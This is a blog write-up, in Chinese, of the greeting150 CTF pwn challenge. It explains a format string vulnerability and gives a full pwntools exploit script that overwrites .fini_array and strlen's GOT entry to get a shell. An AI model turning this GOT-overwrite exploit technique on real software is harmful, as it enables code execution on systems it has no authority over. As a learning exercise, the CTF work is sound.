1.checksec+运行

32位/NX堆栈不可执行/Canary保护

注意一点:没有RELRO保护,got表完全可写

2.IDA常规操作

1.main函数

2.getnline 函数

看到以上信息可以 泄露任意地址的内存

但是........上面的看着感觉不是很对

原来是这样

出现了aaaa---->0x61616161,参数在格式化字符串第12个位置

aaaaaa%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p

注意:我们需要在前面再填充两个字符,才会确定我们输入的aaaa

同样,这样也可以实现

通过这种方法,如果我们传入的是 一个函数的 GOT 地址,那么他就可以给我们打印出来函数在内存中的真实地址

也就是说格式化字符串可以将任意一个即将调用的函数的got覆盖成我们想要调用函数的plt

用格式化字符串漏洞修改strlen或其他函数(能被调用且有可操纵字符串传入的函数)

objdump -R greeting150查看got表

虽然打印出了system的地址,但因为延迟绑定机制,system没有调用过,是得不到system的got表真实地址,而是plt表的地址

因此

我们可以修改strlen的GOT表内容为system的PLT表

但是但是.......

运行程序我们知道,程序没有循环
也就是说即使覆写了strlen函数的got表地址,也没有用,覆写之后就退出了,就是说发生格式化字符串漏洞后程序就结束了,调用不到getnline.

额............这样的话

想办法,让他能循环,让程序再回到main,执行strlen

补充知识:

我们都知道,main函数不是程序的真正入口,__libc_start_main函数才是程序的真正入口

__libc_start_main原型int __libc_start_main((int (*main) (int, char**, char**),int argc,char **argv,__typeof (main) init,void (*fini) (void),void (*rtld_fini) (void),void* stack_end)

程序开始时会执行一遍init_array指针数组,调用数组中每一个函数进行初始化,

结束时会执行一遍fini_array指针数组,调用数组中每一个函数进行清理操作

这样我们的机会来了.............

利用格式化字符串漏洞覆盖任意地址内存

本题我们将.fini._array的第一个指针写成start地址或者main函数地址,让程序重新执行,便实现了循环调用

但是这个数组的内容在再次从start开始执行后又会被修改,且程序可读取的字节数有限,因此需要一次性修改两个地址并且合理调整payload。

.fini_array的4个字节为start地址,进而程序进入第二次循环,输入/bin/sh\x00,拿到shell

必要地址

main_addr = 0x080485ED
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54

修改fini_array的后两个字节0x85ED

修改strlen_got的后两字节0x8490, 和前两个字节0x804

got改成plt在内存中会映射相差一段距离, 所以不是按文件的地址仅需要修改低2位字节(其他师傅博客解释的,具体为什么2字节不是很清楚,等学完必要的基础知识应该就可以理解了)

字符串长度的限制,采用单个字节修改,%hn

from pwn import*
p=process('./greeting150')main_addr = 0x080485ED
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54fini_num = 0x85ED
sysplt_num1 = 0x0804
sysplt_num2 = 0x8490p.recvuntil('Please tell me your name... ')
pl = b'a'*2
pl += p32(strlen_got)
pl += p32(strlen_got+2)
pl += p32(fini_array)
num = 0x804 - 0x20
pl += '%' + str(num) + 'c%13$hn'
num = 0x8490 - 0x804
pl += '%' + str(num) + 'c%12$hn'
num = 0x85ED - 0x8490
pl += '%' + str(num) + 'c%14$hn'
print(len(pl))p.sendline(pl)
p.recvuntil('Please tell me your name... ')
p.sendline('/bin/sh')
p.interactive()

字符串与字节流不能直接相加,需要转换编码格式

修改脚本

from pwn import*
p=process('./greeting150')main_addr = 0x080485ED
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54fini_num = 0x85ED
sysplt_num1 = 0x0804
sysplt_num2 = 0x8490p.recvuntil('Please tell me your name... ')
payload = b'a'*2
payload += p32(strlen_got)
payload += p32(strlen_got+2)
payload += p32(fini_array)
num = 0x804 - 0x20
k= '%' + str(num) + 'c%13$hn'
payload+= k.encode('utf-8')
num = 0x8490 - 0x804
k= '%' + str(num) + 'c%12$hn'
payload+= k.encode('utf-8')
num = 0x85ED - 0x8490
k= '%' + str(num) + 'c%14$hn'
payload+= k.encode('utf-8')
print(len(payload))p.sendline(payload)
p.recvuntil('Please tell me your name... ')
p.sendline('/bin/sh')
p.interactive()

最后成功打通

攻防世界格式化字符串漏洞greeting150相关推荐

  1. CTF(pwn)-格式化字符串漏洞讲解(二) --攻防世界CGfsb

    格式化字符串漏洞介绍: https://blog.csdn.net/weixin_45556441/article/details/114080930 一.分析 pwnme的地址为 0x804A068 ...

  2. XCTF-攻防世界CTF平台-PWN类——1、Mary_Morton(格式化字符串漏洞、缓冲区溢出漏洞)

    目录标题 1.查看程序基本信息 2.反编译程序 3.攻击思路 (1)先利用功能2格式化字符串漏洞 (2)找到功能1的sub_400960()函数返回地址的位置 方法二 1.查看程序基本信息 Mary_ ...

  3. buuctf pwn wp(第四波)格式化字符串漏洞系列

    这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理.) 这一波题都是无脑AAAA的类型,它 ...

  4. Linux下的格式化字符串漏洞利用姿势

    [转]http://www.cnblogs.com/Ox9A82/p/5429099.html linux最早的漏洞防护机制nx-stack刚刚出现后就有人想出了突破方法.那就是只有栈是不可执行,而除 ...

  5. c语言格式化字符漏洞,格式化字符串漏洞题目练习

    整合一下最近做的格式化字符串题目的练习,把wp给写一下,方便对总结对这个漏洞的利用套路和技巧. inndy_echo 保护和arch [*] '/media/psf/mypwn2/buuctf/inn ...

  6. BUUCTF(pwn)jarvisoj_fm --格式化字符串漏洞

    简单的格式化字符串漏洞题目 32位,开启了canary和nx保护 知道以上条件就可以计算偏移了 得到偏移为11 from pwn import *r=remote('node3.buuoj.cn',2 ...

  7. (Buuctf) [第五空间2019 决赛]PWN5 简单格式化字符串漏洞利用

    这题是个基本格式化字符串漏洞利用; 满足if条件即可得到答案; 使 nptr 与 dword_804C044 相等即可; 可以使我们利用的是 第一次的输入输出; addr=0x804C044 payl ...

  8. CTF(pwn)-格式化字符串漏洞讲解(一)

    例题讲解 https://blog.csdn.net/weixin_45556441/article/details/114081864 一.基本介绍 格式化字符串漏洞在通用漏洞类型库CWE中的编号是 ...

  9. c++字符串输入_【pwn】什么是格式化字符串漏洞?

    0x00 前言 格式化字符串漏洞是在CWE[1](Common Weakness Enumeration,通用缺陷枚举)例表中的编号为CWE-134,由于在审计过程中很容易发现该漏洞,所以此类漏洞很少 ...

最新文章

  1. 数据安全最佳实践案例库建设项目正式启动
  2. odoo中的filtered_domain
  3. .NET Core IoT 入门指南:(三)使用 I2C 进行通信
  4. php进入文件目录,php文件目录操作
  5. 旧式计算机英语,旧式的英文怎么说
  6. linux apache配置_linux查看nginx、apache、php、php-fpm、mysql及配置项所在目录
  7. [模板]fhqTreap
  8. Golang实践录:利用反射reflect构建通用打印结构体接口
  9. Android、Java泛型扫盲
  10. 【转】文件各种上传,离不开的表单
  11. 数据结构课程设计- (二) 栈与队列(迷宫问题)
  12. ffmpeg bt709 to bt601
  13. html5给文字添加拼音,word怎么为文字添加拼音
  14. PCM 与WAV相互转换代码
  15. 使用计算机打印资料时需要安装打印机驱动,详细教您如何在计算机上安装打印机驱动程序...
  16. 集体照的拍摄与后期合成处理
  17. camera 成像原理
  18. RTOS 系统篇-看门狗 WatchDog 2
  19. Django——admin功能、注册模型类、模型管理类
  20. 个人开发者轻松接入支付回调

热门文章

  1. 图像处理之特殊灰度算法技巧
  2. python表情包语言_我是斗图王之python爬取表情包
  3. 【OpenGL】GLES20.glClear
  4. 朗强科技:4K画面HDMI分割拼接器基础知识
  5. 工单派单管理系统一体化管理,实现APP+PC端多渠道派工
  6. 德州ISO27001认证是什么,ISO27001认证好处
  7. 中学校园有线电视光纤传输系统案例-锡盟蒙古族中学新校区
  8. 太原理工 编译原理 c语言,太原理工大学编译原理实验
  9. 《第五元素》女高音的歌曲
  10. C++ 堆结构(数组实现)